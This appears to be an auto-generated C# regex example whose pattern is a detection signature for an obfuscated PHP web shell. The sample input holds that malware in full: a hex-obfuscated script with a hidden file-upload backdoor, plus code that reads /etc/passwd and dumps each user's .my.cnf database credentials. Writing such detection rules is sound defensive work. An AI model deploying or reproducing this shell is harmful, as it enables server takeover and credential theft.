using System;
using System.Text.RegularExpressions;
public class Example
{
public static void Main()
{
string pattern = @"^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*\$\{[""']\\x47\\x4c\\x4fba\\x4cs['""].{0,630}?m\\x75\\x6ct\\x69\\x70\\x61\\x72\\x74\/form\-d.{0,380}?move_uploaded_file\(\$_files.{0,500}?file\(['""]\/\\x65\\x74\\x63\/\\x70\\x61s\\x73wd.{0,1550}?=file_get_contents\(\$\{\$\{['""][\\\w]+.{0,120}?print\(\$\{\$\{[""']g[\\\w]+['""].{0,50}?\}cp\([[:punct:]\s]+$";
string input = @"<?php ${""\x47\x4c\x4fba\x4cs""}[""\x77\x6b\x70\x68k\x77l\x79\x75""]=""\x67\x65\x74"";${""\x47\x4cob\x41l\x53""}[""\x72\x67\x73\x68\x67\x6fa\x68\x66""]=""\x66\x6f\x6c\x64\x65\x72"";${""gl\x4f\x42\x41ls""}[""\x7a\x6a\x77\x6c\x61\x7al\x69""]=""\x75s\x65r"";${""\x47\x4c\x4f\x42a\x4c\x53""}[""\x61v\x76dyw\x65\x6b""]=""\x6ea\x6de"";${""\x47\x4c\x4f\x42al\x53""}[""\x70\x71ul\x73\x75""]=""\x6ea\x6de\x73"";${""\x47lo\x42als""}[""\x70t\x6aw\x6b\x68\x61w""]=""_\x68\x6f\x6de"";error_reporting(0);ini_set(""ma\x78\x5f\x65\x78ecut\x69\x6fn_\x74im\x65"",0);session_start();if($_get[""3x""]==""3\x78""){echo""<form\x20a\x63tio\x6e\x3d\""\x22 \x6de\x74ho\x64\x3d\x22\x70os\x74\"" e\x6ectyp\x65=\""m\x75\x6ct\x69\x70\x61\x72\x74/form-d\x61\x74a\x22>\n\x20\x20 \x20\x20\x20<\x69n\x70\x75\x74\x20typ\x65\x3d\x22\x66il\x65\x22\x20\x6eam\x65=\""\x75\x70\x22/\x3e\n\x20\x20\x20\x20 \x3c\x69n\x70\x75\x74\x20type\x3d\x22s\x75bm\x69\x74\""\x20\x6e\x61\x6de=\""s\x75b\x6d\x69t\""\x20value\x3d\x22\x53\x75b\x6d\x69t\""\x20/\x3e\n\x20 \x20</\x66\x6fr\x6d\x3e"";if($_post[""\x73\x75\x62mit""]){$srpgpyig=""\x75\x72l"";move_uploaded_file($_files[""\x75\x70""][""t\x6d\x70\x5f\x6eame""],$_files[""\x75\x70""][""n\x61me""]);${$srpgpyig}=$_files[""up""][""n\x61m\x65""];echo""\x3ch\x31\x3e<\x61 \x68ref\x3d\x27$url'\x3eo\x70e\x6e\x20s\x68el\x6c\x21</a></\x681\x3e"";}}if(function_exists(""\x66ile\x5f\x67\x65\x74\x5f\x63o\x6eten\x74s"")){function cp(){$mglxyop=""_h\x6f\x6d\x65s"";${""g\x4c\x4fba\x4cs""}[""t\x64n\x70\x66\x6c\x71d""]=""\x5f\x68\x6fm\x65\x73"";${""g\x4cob\x41\x4c\x53""}[""\x66bx\x7ali""]=""n\x61\x6des"";${${""\x47l\x4fba\x4cs""}[""\x66bx\x7a\x6ci""]}=file(""/\x65\x74\x63/\x70\x61s\x73wd"");${$mglxyop}=[""/h\x6fme/"",""/ho\x6de\x31/"",""/h\x6f\x6d\x652/"",""/\x68\x6fme3/"",""/h\x6f\x6d\x654/"",""/\x68om\x65\x35/"",""/h\x6fm\x65\x36/"",""/\x68\x6f\x6d\x657/"",""/\x68\x6fm\x65\x38/"",""/\x68\x6f\x6d\x659/"",""/h\x6fme10""];foreach(${${""\x47\x4cob\x41l\x53""}[""\x74d\x6e\x70\x66\x6cq\x64""]} as${${""\x47l\x4f\x42\x41\x4cs""}[""\x70\x74\x6a\x77k\x68a\x77""]}){${""\x47\x4c\x4fba\x4c\x53""}[""\x76\x74r\x6b\x72v\x6c\x6b\x67""]=""\x6ea\x6des"";if(isset(${${""gl\x4f\x42\x41\x4cs""}[""vt\x72\x6b\x72\x76\x6c\x6bg""]})){foreach(${${""\x47\x4c\x4f\x42a\x4cs""}[""p\x71\x75\x6c\x73\x75""]} as${${""\x47lob\x41\x4cs""}[""\x61\x76\x76\x64\x79\x77\x65\x6b""]}){$yvivtnymcjft=""use\x72"";${""g\x4c\x4fbals""}[""x\x6e\x71\x74\x73\x76\x72i\x68\x79\x73q""]=""\x5f\x68\x6f\x6d\x65"";${""\x47\x4c\x4fb\x41\x4cs""}[""\x79q\x79mwb\x70""]=""\x6e\x61\x6d\x65"";${${""\x47l\x4f\x42\x41ls""}[""\x7aj\x77\x6c\x61\x7a\x6ci""]}=explode("":"",${${""g\x4c\x4fbal\x53""}[""\x79\x71\x79m\x77\x62\x70""]});${$yvivtnymcjft}=${${""\x47l\x4fb\x41\x4cs""}[""\x7a\x6awl\x61zli""]}[0];${${""\x47\x4c\x4f\x42a\x4c\x53""}[""\x72\x67\x73h\x67\x6f\x61h\x66""]}=${${""glob\x41l\x53""}[""\x78\x6e\x71\x74\x73\x76ri\x68y\x73q""]}.${${""\x47l\x4fb\x41\x4c\x53""}[""z\x6aw\x6c\x61z\x6c\x69""]}.""/.my\x2e\x63n\x66"";if(is_readable(${${""\x47\x4cob\x41\x4c\x53""}[""rgs\x68\x67\x6f\x61\x68\x66""]})){${""\x47l\x4f\x42\x41\x4c\x53""}[""\x66b\x72\x6fmbze\x71""]=""\x67\x65\x74"";${""\x47l\x4f\x42a\x4c\x53""}[""yij\x75\x6apbhp\x66""]=""\x66o\x6cder"";${""\x47\x4co\x42als""}[""\x76pc\x6a\x67\x77\x6d\x7a\x73\x71s""]=""get"";${${""\x47\x4c\x4fb\x41\x4c\x53""}[""fb\x72\x6f\x6db\x7aeq""]}=file_get_contents(${${""\x47\x4c\x4f\x42a\x4c\x53""}[""\x79\x69\x6a\x75j\x70b\x68\x70f""]});if(!empty(${${""g\x4c\x4f\x42\x41\x4c\x53""}[""\x76pcjgwmzs\x71s""]})){print(${${""g\x4co\x42\x41ls""}[""w\x6bp\x68k\x77l\x79\x75""]}.""<\x62r\x3e"");}}}}}}cp();} ?>
";
RegexOptions options = RegexOptions.IgnoreCase | RegexOptions.Singleline;
foreach (Match m in Regex.Matches(input, pattern, options))
{
Console.WriteLine("'{0}' found at index {1}.", m.Value, m.Index);
}
}
}
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for C#, please visit: https://msdn.microsoft.com/en-us/library/system.text.regularexpressions.regex(v=vs.110).aspx